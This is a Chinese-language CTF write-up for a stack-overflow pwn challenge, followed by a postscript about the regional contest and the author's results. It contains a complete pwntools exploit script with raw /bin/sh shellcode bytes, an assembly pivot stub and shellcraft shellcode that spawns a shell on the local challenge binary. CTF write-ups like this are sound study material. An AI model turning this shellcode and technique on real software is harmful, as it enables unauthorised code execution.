vuln

在文件输出长串的字符串以后可以拼接出一个返回地址里面就包含了一个裸的写入代码然后执行代码段的函数但是fgets的大小只有0x10,这时候我们写一段汇编进去控制rdi,直接pop就行因为此时栈上的值大概率为一个很大的地址值,当然先push也可以,控制了rdi以后就可以写一个很长的shellcode进去就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# _*_ coding:utf-8 _*_
from pwn import *
import re
import os, struct, random, time, sys, signal
import hashlib
from hashlib import sha256


p = process("./vuln")

context.log_level = "debug" # info
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-hp','64']


def dbg(breakpoint=''):
elf_base = int(os.popen('pmap {}| awk \x27\x27'.format(p.pid)).readlines()[1], 16) if elf.pie else 0
script = 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdb.attach(p,script)
pause()

#-----------------------------------------------------------------------------------------
s = lambda data :p.send(str(data))
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
ia = lambda :p.interactive()
hs256 = lambda data :sha256(str(data).encode()).hexdigest()
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
uu32 = lambda :u32(p.recv(4).ljust(4,'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,'\x00'))
int16 = lambda data :int(data,16)
lg = lambda s :p.success('%s -> 0x%x' % (s, eval(s)))
# sc = lambda :shellcraft.amd64.linux.sh()
#-----------------------------------------------------------------------------------------
#0x7fffffffd7d0
#0x400890
#0xa
#0x0000000004008B0
name = 'aaaacc' + "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
name = name.ljust(39, 'a')
# name = "a"*39
# attach(p, "b *0x400890")
sla("input name:", name)
pay = asm("""
pop rdi
push 0x4008b0
ret
""")
p.sendline(pay)

p.sendline(asm(shellcraft.sh()))


p.interactive()


后记

分区赛上了3个pwn,第1个pwn 数据结构的题 3解,后面才知道原来图优化-最小费用最大流MCMF,我确实是没接触过这个算法,比赛的时候逆向确实没有看懂真是可惜(幽默的是上午2个小时就这一道题),第2个pwn 9解也就上文的题解,第3个pwn 0解是一个qemu逃逸,可惜也没有解出来。
说实话这次本次分区赛办的也不好,赛制之前通告是awdp结果是4个小时的ctf加2个半小时的fix,fix还没有pwn题,平台的并发完全不行完全卡死,桌子是乒乓球桌,凳子也是塑胶凳子没有靠背,结束了也才知道场馆脸wifi屏蔽器都没有开。
但话说回来,也不能怪太多的场外因素,这些毫无意义太矫情了,终归还是个人不够强,一段故事结束了,很遗憾没有为队伍做的更多,下一段继续加油。 :)